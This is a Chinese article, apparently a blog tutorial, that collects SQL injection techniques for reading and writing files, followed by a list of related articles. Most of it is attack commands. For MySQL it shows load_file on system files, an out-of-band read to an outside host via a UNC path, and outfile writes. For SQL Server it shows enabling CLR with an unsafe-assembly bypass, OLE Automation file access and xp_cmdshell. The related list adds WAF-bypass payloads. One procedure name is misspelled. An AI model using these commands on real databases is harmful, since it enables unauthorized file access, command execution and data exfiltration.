关于SQL注入中文件读写的方法总结

前言

SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看。

一、MySQL

读文件

常见的读文件,可以用16进制代替字符串

select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

写文件

我暂时已知l两种写文件的方式

select 0x313233 into outfile 'D:/1.txt'
select 0x313233 into dumpfile 'D:/1.txt'

二、 SQL Server

读文件

1. BULK INSERT

create table result(res varchar(8000));
bulk insert result from 'd:/1.txt';

2. CLR集成

// 开启CLR集成
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'clr enabled',1
reconfigure
create assembly sqb from 'd:\1.exe' with permission_set=unsafe

上面一句可以利用create assembly函数从远程服务器加载任何.NET二进制文件到数据库中;但是他会验证是否为合法.NET程序,导致失败,下面是读取方式

select master.dbo.fn_varbintohexstr(cast(content as varbinary)) from sys.assembly_files

绕过,首先加载一个有效的.NET的二进制文件,然后追加文件即可,下面是绕过方法。

create assembly sqb from 'd:\net.exe';
alter assembly sqb add file from 'd:\1.txt'
alter assembly sqb add file from 'd:\notnet.exe'

3. Script.FileSystemObject

# 开启Ole Automation Procedures

sp_configure 'show advanced options',1;
RECONFIGURE;
sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'opentextfile', @f out, 'd:\1.txt', 1
exec @ret = sp_onmethod @f, 'readline', @line out
while(@ret = 0) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end

写文件

1. Script.FileSystemObject

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'

2. BCP复制文件(测试失败,无bcp.exe)

c:\windows>system32>bcp "select name from sysobjects" query testout.txt -c -s 127.0.0.1 -U sa -p"sa"

3. xp_cmdshell

exec xp_cmdshell 'echo test>d:\1.txt'

三、Oracle

pass,Oracle太坑了~~~几乎都受到PL/SQL的限制,暂时不讨论

总结

以上就是关于SQL注入中文件的读写方法总结,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

(0)

相关推荐

  • 关于SQL注入绕过的一些知识点

    一. 绕过waf思路 从第一步起,一点一点去分析,然后绕过. 1.过滤 and,or preg_match('/(and|or)/i', $id) Filtered injection: 1 or 1 = 1 1 and 1 = 1 Bypassed injection: 1 || 1 = 1 1 && 1 = 1 2.过滤 and, or, union preg_match('/(and|or|union)/i', $id) Filtered injection: union selec

  • 详解 MapperScannerConfigurer之sqlSessionFactory注入方式

    MapperScannerConfigurer之sqlSessionFactory注入方式讲解 首先,Mybatis中的有一段配置非常方便,省去我们去写DaoImpl(Dao层实现类)的时间,这个配置就是包扫描.... 让我们先来看一段代码: <!-- 4:配置扫描Dao接口的包,动态实现Dao接口,注入到Spring容器中 --> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">

  • ASP.NET防止SQL注入的方法示例

    本文实例讲述了ASP.NET防止SQL注入的方法.分享给大家供大家参考,具体如下: 最近接手别人一个项目,发现存在SQL注入漏洞,因为不想改太多代码,所以那种参数法防注入呢我就用不着了.只能用传统的笨一点的办法了. 1.新建Global.asax文件. 2.加入如下代码: void Application_BeginRequest(object sender, EventArgs e) { bool result = false; if (Request.RequestType.ToUpper(

  • SQL注入原理与解决方法代码示例

    一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入. 黑客通过SQL注入攻击

  • 关于SQL注入中文件读写的方法总结

    前言 SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看. 一.MySQL 读文件 常见的读文件,可以用16进制代替字符串 select load_file('c:/boot.ini') select load_file(0x633a2f626f6f742e696e69) select load_file('//ecma.io/1.txt') # smb协议 select load_file('\\\\ecma.io\\1.t

  • 原生php实现excel文件读写的方法分析

    本文实例分析了原生php实现excel文件读写的方法.分享给大家供大家参考,具体如下: 最近在工作中遇到一个需求,需要将数据库中的数据导出到excel文件中,并下载excel文件.因为以前没做过,所以就百度了一下,网上说的大多是使用PHPExcel类来操作excel文件,这还要去下载这个类才能使用,而我只想使用原生的php,不想那么麻烦,好在也有网友说到关于原生php生成excel文件的方法,其实很简单,下面把我结合网上资料自己实践的代码分享一下. 一般我们这种导数据的操作都是通过用户在网页页面

  • SQL注入详解及防范方法

    目录 一:什么是sql注入 二:SQL注入攻击的总体思路 三:SQL注入攻击实例 四:如何防御SQL注入 1.检查变量数据类型和格式 2.过滤特殊符号 3.绑定变量,使用预编译语句 五:什么是sql预编译 1.1:预编译语句是什么 1.2:MySQL的预编译功能 (1)建表 (2)编译 (3)执行 (4)释放 六:为什么PrepareStatement可以防止sql注入 (1):为什么Statement会被sql注入 (2)为什么Preparement可以防止SQL注入. 七:mybatis是如

  • SQL注入的四种防御方法总结

    目录 前言 限制数据类型 正则表达式匹配传入参数 函数过滤转义 预编译语句 总结 前言 最近了解到安全公司的面试中都问到了很多关于SQL注入的一些原理和注入类型的问题,甚至是SQL注入的防御方法.SQL注入真的算是web漏洞中的元老了,著名且危害性极大.下面这里就简单的分享一下我总结的四种SQL注入防御手段,加深理解,方便下次遇到这种问题时可以直接拿来使用.(主要是怕面试中脑壳打铁,这种情况太常见了) SQL注入占我们渗透学习中极大地一部分,拥有这很重要的地位.随着防御手段的不段深入,市面上存在

  • Android中文件读写(输入流和输出流)操作小结

    1. Android中文件读写的原理: (1).所有文件的储存都是字节的储存. (2).在磁盘上保留的并不是文件的字符而是先把字符编码成字节,再储存这些字节到磁盘. (3).在读取文件(特别是文本文件)时,也是一个字节一个字节的读取以形成字节序列. 2. 字节流和字符流的区别: (1).字节流提供了处理任何类型的IO操作的功能,但它不能直接处理Unicode字符,字符流就可以. (2).字节流转换成字符流可以用InputStreamReader,OutputStreamWriter. 一般我们在

  • C#控制台进行文件读写的方法

    本文实例讲述了C#控制台进行文件读写的方法.分享给大家供大家参考.具体如下: C#控制台进行文件写入: using System; using System.IO; class file1 { public static void Main() { string PATH = null; Console.WriteLine("file path: "); //这里输入文本所在目录 例如 d:\text.txt PATH = Console.ReadLine(); StreamW

  • 对Python之gzip文件读写的方法详解

    gzip文件读写的时候需要用到Python的gzip模块. 具体使用如下: # -*- coding: utf-8 -*- import gzip # 写文件 f_out = gzip.open("xxx.gz", "wb") # 读文件 # f_in = gzip.open("xxx.gz", "rb") for line in open("yyy.txt", "rb"): f_out

  • java不解压直接读取压缩包中文件的实现方法

    前言 最近写了个上传压缩包,将压缩包中的图片保存的接口,所以翻了翻网上文件流操作的博客,总结了一个不用解压,直接读取文件的方法 上代码 @RequestMapping(value = "packageUpload") public void packageUpload(HttpServletRequest request, HttpServletResponse response) { File file = null; try { MultipartHttpServletReques

  • C#防SQL注入代码的三种方法

    对于网站的安全性,是每个网站开发者和运营者最关心的问题.网站一旦出现漏洞,那势必将造成很大的损失.为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全设施要做到位. 下面说下网站防注入的几点要素. 一:丢弃SQL语句直接拼接,虽然这个写起来很快很方便. 二:如果用SQL语句,那就使用参数化,添加Param 三:尽可能的使用存储过程,安全性能高而且处理速度也快 四:屏蔽SQL,javascript等注入(很是主要的),对于每个文件写是不太可能的.所以要找到对所有文件起作用的办法.我在网上

  • 利用SQL注入漏洞拖库的方法

    想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

随机推荐